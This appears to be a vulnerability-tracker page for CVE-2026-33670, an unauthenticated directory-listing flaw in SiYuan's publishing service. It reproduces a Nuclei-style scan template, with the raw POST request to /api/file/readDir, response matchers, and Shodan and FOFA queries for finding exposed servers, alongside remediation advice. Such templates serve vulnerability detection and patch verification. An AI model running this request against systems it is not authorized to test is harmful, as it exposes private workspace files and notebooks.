CVE-2026-33670: SiYuan < 3.6.2 - Publishing Service Unauthenticated Directory Listing

2026-11-29 PoC Public

Description

SiYuan before 3.6.2 exposes /api/file/readDir on the publishing service without authorization, so any visitor can list the workspace data directory and notebook contents. Fixed releases reject the request with 403. Point the template at the publishing service port (default 6808).

Details

CVE
CVE-2026-33670 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-33670

info:
  name: SiYuan < 3.6.2 - Publishing Service Unauthenticated Directory Listing
  author: DhiyaneshDk
  severity: high
  description: |
    SiYuan before 3.6.2 exposes /api/file/readDir on the publishing service without authorization, so any visitor can list the workspace data directory and notebook contents. Fixed releases reject the request with 403. Point the template at the publishing service port (default 6808).
  impact: |
    An unauthenticated attacker with access to the SiYuan publishing service can enumerate workspace files and notebooks.
  remediation: |
    Upgrade to SiYuan 3.6.2 or later, or disable the publishing service.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33670
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-33670
    epss-score: 0.02889
    epss-percentile: 0.87643
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: siyuan-note
    product: siyuan
    shodan-query: http.html:"SiYuan"
    fofa-query: body="SiYuan"
  tags: cve,cve2026,siyuan,exposure,unauth,vuln

http:
  - raw:
      - |
        POST /api/file/readDir HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"path":"/data"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"isDir\":true", "\"name\":\"emojis\"", "\"name\":\"widgets\"")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100c15ab2e8bd315763e505043d96563cafa3bf846aeaa7c5e80cd5ca62a690c293022003ff363d9427bcdd40b87912ae2bb354848b0be8a3e74d5827f570f18aec11c6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life